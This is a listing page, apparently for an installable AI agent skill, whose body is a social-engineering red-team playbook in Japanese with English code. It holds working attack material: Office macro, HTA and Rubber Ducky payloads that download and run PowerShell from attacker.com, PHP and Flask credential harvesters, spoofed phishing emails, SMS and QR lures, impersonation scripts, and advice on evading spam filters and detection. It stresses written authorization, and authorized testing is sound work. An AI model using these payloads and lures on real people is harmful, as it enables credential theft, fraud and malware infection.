mcpField
P
performing-social-engineering

performing-social-engineering

github.com/trilwuセキュリティ17795 回インストール12 週間前に更新
リポジトリ

performing-social-engineering について

許可を得たレッドチーム活動やセキュリティ意識向上施策向けのソーシャルエンジニアリング評価スキルです。メール、音声、SMS、USB、ブラウザーを使うシナリオの計画と実施を扱い、書面での許可、範囲、データ管理を重視します。

主な機能

  1. 01フィッシングキャンペーンの計画
  2. 02メールと認証情報収集の手法
  3. 03音声、SMS、QRコードのシナリオ
  4. 04USBとブラウザーを使う手法
  5. 05許可とデータ管理の指針

活用シーン

  1. 01許可を得たフィッシング評価の実施
  2. 02範囲を定めたシナリオでの従業員意識テスト
  3. 03ソーシャルエンジニアリング演習の計画と報告

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/trilwu/secskills --skill performing-social-engineering

インストール後、Claude Code で/performing-social-engineeringを入力して読み込まれたか確認します。

詳細

ソーシャルエンジニアリングの実施

使用する場合

  • フィッシングキャンペーンの実施
  • 認証情報の窃取
  • ソーシャルエンジニアリングの評価
  • レッドチーム演習
  • セキュリティ意識のテスト

使用しない場合

  • 書面による承認と明確なスコープがないキャンペーン — 中止してください
  • クリック後の技術的なエクスプロイト — 該当する侵害後のスキルを使用してください
  • 受信したフィッシングメールの分析 — analyzing-phishing-emails を使用してください (ヘッダー、リンク、添付ファイル)。実行したペイロードには analyzing-malware を使用してください

フィッシングインフラストラクチャ

Gophish(フィッシングフレームワーク)
# Install
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
chmod +x gophish
./gophish

# Access web interface
https://localhost:3333
# Default: admin:gophish

Gophish キャンペーンのセットアップ:

  1. メールテンプレート - 信頼性の高いフィッシングメールを作成します
  2. ランディングページ - 認証情報を窃取するため、正規サイトを複製します
  3. 送信プロファイル - SMTP サーバーを設定します
  4. グループ - 標的ユーザーのリストをインポートします
  5. キャンペーン - すべての要素を組み合わせて開始します
SET(ソーシャルエンジニアリングツールキット)
# Launch SET
setoolkit

# Common modules:
# 1) Social-Engineering Attacks
#    1) Spear-Phishing Attack Vectors
#    2) Website Attack Vectors
#    3) Credential Harvester Attack Method

認証情報の収集:

# SET Menu:
# 1 -> 2 -> 3 (Credential Harvester)
# Choose site template or custom URL
# Enter attacker IP
# Hosts fake login page
# Captures credentials when submitted

メールフィッシング

メールのなりすまし
# sendEmail (simple SMTP client)
sendEmail -f [email protected] \
  -t [email protected] \
  -u "Urgent: Password Reset Required" \
  -m "Click here to reset: http://evil.com/reset" \
  -s smtp.server.com:25

# swaks (SMTP testing tool)
swaks --to [email protected] \
  --from [email protected] \
  --header "Subject: Important Update" \
  --body "Please review: http://evil.com" \
  --server smtp.company.com
添付ファイルを使ったフィッシング

悪意のある Office マクロ:

' Excel/Word VBA macro — AutoOpen fires on document open once macros are enabled
Sub AutoOpen()
    Shell "powershell -nop -w hidden -c ""I[E]X((new-object net.web[c]lient).download[s]tring('http://attacker.com/payload.ps1'))"""
End Sub

角括弧で分割されています。I[E]X は IEX、net.web[c]lient は net.webclient、 download[s]tring は downloadstring です。このブロックをそのまま記述すると、 標準の TrojanDownloader:O97M シグネチャになります。リポジトリの README にある「ウイルス対策ソフトの誤検知」を参照してください。

悪意のある PDF:

# Create PDF with embedded JavaScript
# Use tools like:
# - metasploit (exploit/windows/fileformat/adobe_pdf_embedded_exe)
# - PDFtk
# - malicious JavaScript injection

悪意のある HTA:


<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -w hidden -c I[E]X(New-Object Net.Web[C]lient).Download[S]tring('http://attacker.com/payload.ps1')"
window.close()
</script>
</head>
</html>
正規サイトの複製
# HTTrack website copier
httrack http://legitimate-site.com -O ./cloned_site/

# wget mirror
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://legitimate-site.com

# Manual with curl
curl -o index.html http://legitimate-site.com/login

# Modify form action to send credentials to attacker
<form action="http://attacker.com/harvest.php" method="POST">
認証情報収集サーバー

シンプルな PHP 収集ツール:

<?php
// harvest.php
$file = 'credentials.txt';
$username = $_POST['username'];
$password = $_POST['password'];
$data = "User: $username | Pass: $password | IP: " . $_SERVER['REMOTE_ADDR'] . " | " . date('Y-m-d H:i:s') . "\n";
file_put_contents($file, $data, FILE_APPEND);

// Redirect to real site
header('Location: https://real-site.com');
?>

Python Flask 収集ツール:

from flask import Flask, request, redirect
app = Flask(__name__)

@app.route('/login', methods=['POST'])
def harvest():
    with open('creds.txt', 'a') as f:
        f.write(f"User: {request.form['username']}, Pass: {request.form['password']}\n")
    return redirect('https://real-site.com')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

音声フィッシング(ビッシング)

SpoofCard/発信者番号のなりすまし
  • 発信者番号を偽装するサービス
  • IT サポート、経営幹部、ベンダーになりすます
  • 電話を使ったソーシャルエンジニアリング

よくある口実:

  • 認証情報の確認が必要な IT サポート
  • 個人情報を確認する人事部門
  • 電信送金を確認する財務部門
  • 支払い情報の更新を求めるベンダー

SMS フィッシング(スミッシング)

# Send SMS with link
# Use services or tools like:
# - Twilio API
# - SMS gateways
# - SIM card with AT commands

# Example pretext:
"Your package delivery failed. Track here: http://evil.com/track"
"Your account has been locked. Reset here: http://evil.com/unlock"
"You've won a prize! Claim here: http://evil.com/claim"

USB ドロップ攻撃

Rubber Ducky/Bad USB

Ducky スクリプトの例:

REM Open PowerShell and download payload
DELAY 2000
GUI r
DELAY 500
STRING powershell -w hidden
ENTER
DELAY 1000
STRING I[E]X(New-Object Net.Web[C]lient).Download[S]tring('http://attacker.com/payload.ps1')
ENTER

Bash Bunny:

# Payloads at /payloads/switch1/
# Example: exfiltrate files, run payload, etc.
USB メモリの物理的な設置

口実:

  • 「会社の財務データ 2024」
  • 「給与情報 - 機密」
  • 「従業員ボーナス 第4四半期」
  • 「IT セキュリティアップデート - 必須」

ペイロードのアイデア:

  • リバースシェル
  • 認証情報窃取ツール
  • キーロガー
  • データの持ち出し
  • 永続化の仕組み

QR コードフィッシング

# Generate QR code pointing to phishing site
qrencode -o evil_qr.png "http://evil.com/harvest"

# Print and place in physical locations:
# - "Scan for Free WiFi"
# - "Employee Portal Access"
# - "Building Directory"

水飲み場型攻撃

  1. 標的組織がよく訪問するサイトを特定します
  2. ウェブサイトを侵害します(または類似サイトを作成します)
  3. 悪意のあるコードを挿入します(エクスプロイトまたはプロファイリング)
  4. 標的がサイトを訪問して侵害されるのを待ちます

ブラウザベースの攻撃

BeEF(ブラウザエクスプロイトフレームワーク)
# Start BeEF
./beef

# Hook browsers with:
<script src="http://attacker-ip:3000/hook.js"></script>

# Access UI
http://127.0.0.1:3000/ui/panel
# Default: beef:beef

# Commands:
# - Social Engineering (fake notifications)
# - Browser exploitation
# - Network discovery
# - Credential harvesting
偽のアップデートページ

<html>
<head><title>Critical Browser Update Required</title></head>
<body>
<h1>Your browser is out of date!</h1>
<p>Click here to download the latest security update.</p>
<a href="http://attacker.com/malware.exe">Download Update</a>
</body>
</html>

口実を用いたシナリオ

IT サポート:

  • 「こんにちは。IT 部門の John です。定期的なパスワードリセットを実施しています……」
  • 「お客様のアカウントで不審なアクティビティを検出しました……」
  • 「VPN 証明書の有効期限が近づいているため、更新する必要があります……」

経営幹部へのなりすまし:

  • 「こちらは[CEO の名前]です。会議中なので、あなたに……してほしいのですが」
  • 「緊急:本日中に電信送金が必要です……」
  • 「出張中でアカウントにアクセスできません。手伝ってもらえますか……」

ベンダー/パートナー:

  • 「こちらは[ベンダー]の経理部門です。支払い情報を更新する必要があります……」
  • 「請求書の支払期限が過ぎています。請求情報を更新してください……」

配達/配送:

  • 「荷物を配達できませんでした。住所を確認してください……」
  • 「通関手続きが必要です。こちらで料金をお支払いください……」

LinkedIn/ソーシャルメディアの偵察

# Gather employee information
# - Job titles
# - Organizational structure
# - Technologies used
# - Recent activities/projects

# Tools:
# - theHarvester
# - linkedin2username
# - hunter.io (email patterns)

# Use for:
# - Targeted phishing
# - Pretexting scenarios
# - Impersonation attacks

ペイロードの配信方法

リンク:

  • 短縮 URL(bit.ly、tinyurl)
  • タイポスクワッティングドメイン
  • ホモグラフ攻撃(IDN ホモグラフ)
  • URL の難読化

添付ファイル:

  • マクロを含む Office ドキュメント(.docm、.xlsm)
  • エクスプロイト/JavaScript を含む PDF
  • 圧縮ファイル(.zip、.rar)
  • ISO/IMG ファイル
  • LNK ファイル(ショートカットを悪用する手口)

高度な手法:

  • HTML スマグリング
  • ポリグロットファイル
  • パスワード保護されたアーカイブ(AV の回避)
  • 署名付きマルウェア(盗難または偽造された証明書)

トラッキングとレポート

メールのトラッキング:


<img src="http://attacker.com/track?id=USER123" width="1" height="1" style="display:none">

リンクのトラッキング:

# Unique URL per target
http://attacker.com/click?id=USER123

# Log access in server

追跡する指標:

  • 送信したメール数
  • 開封されたメール数(トラッキングピクセル)
  • クリックされたリンク数
  • 入力された認証情報の数
  • 開封された添付ファイルの数
  • 最初のクリック/入力までの時間

OpSec に関する考慮事項

インフラストラクチャ:

  • 使い捨てのドメインを使用する
  • 認証情報の窃取には HTTPS を使用する
  • 正規の SSL 証明書を使用する(Let's Encrypt)
  • ドメインをカテゴリ分けする(カテゴリ分類サービスに登録する)
  • ホスティングには CDN を使用する(CloudFlare)

メール:

  • SPF/DKIM/DMARC の整合性を確保する
  • メールの評価を徐々に高める
  • 似ているが異なるドメインを使用する(company.com と company-portal.com など)
  • スパム判定の引き金となる語句を避ける

検出の回避:

  • 現実的な送信者名とメールアドレスを使用する
  • プロフェッショナルなメール文面にする
  • 既知の悪意あるインジケーターを避ける
  • 時間帯を考慮して配信する(営業時間内)
  • ジオフェンシングを適用する(対象地域のみ)

ツールの概要

  • Gophish - フィッシングキャンペーン管理
  • SET - ソーシャルエンジニアリングツールキット
  • BeEF - ブラウザーのエクスプロイト
  • King Phisher - フィッシングキャンペーン用ツールキット
  • Evilginx2 - MITM フィッシングプロキシ(2FA を回避)
  • Modlishka - リバースプロキシ型フィッシング
  • CredSniper - 2FA トークンの取得
  • ShellPhish - フィッシングの自動化

防御意識の向上

次の点に気づけるよう、ユーザーに教育します。

  • 緊急性や圧力をかける手口
  • 認証情報を求める依頼
  • 見慣れない送信者
  • 不審なリンク/添付ファイル
  • うますぎる話
  • セキュリティを回避するよう求める依頼

法的・倫理的な考慮事項

  • 必ず書面による許可を得る
  • スコープを明確に定義する
  • 取得したデータを保護する
  • ROE(エンゲージメントルール)に従う
  • 発見事項を責任ある方法で報告する
  • エンゲージメント終了後にデータを削除する

ATT&CK の対象範囲

secskills-core/ttp-index.json から生成されています。このファイルを編集してから、 python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、 ID が現在の ATT&CK リリースと一致することを再確認してください。

偵察(TA0043)

  • T1589 被害者の ID 情報を収集 — performing-reconnaissance も参照
  • T1591 被害者組織の情報を収集 — performing-reconnaissance も参照
  • T1598 情報を狙ったフィッシング — analyzing-phishing-emails も参照

リソース開発(TA0042)

  • T1583 インフラストラクチャの取得
  • T1585 アカウントの作成
  • T1608 能力の準備 — transferring-files も参照

初期アクセス(TA0001)

  • T1189 ドライブバイ侵害
  • T1566 フィッシング — analyzing-phishing-emails も参照
  • T1566.001 スピアフィッシング添付ファイル — analyzing-malware、analyzing-phishing-emails も参照
  • T1566.002 スピアフィッシングリンク — analyzing-phishing-emails も参照

実行(TA0002)

  • T1203 クライアント実行のためのエクスプロイト — analyzing-malware、exploiting-memory-corruption も参照
  • T1204 ユーザーによる実行

これらのいずれかに対応する検出コンテンツ:engineering-detections。プロアクティブな探索:hunting-threats。侵害後の対応:responding-to-incidents。

References

コメント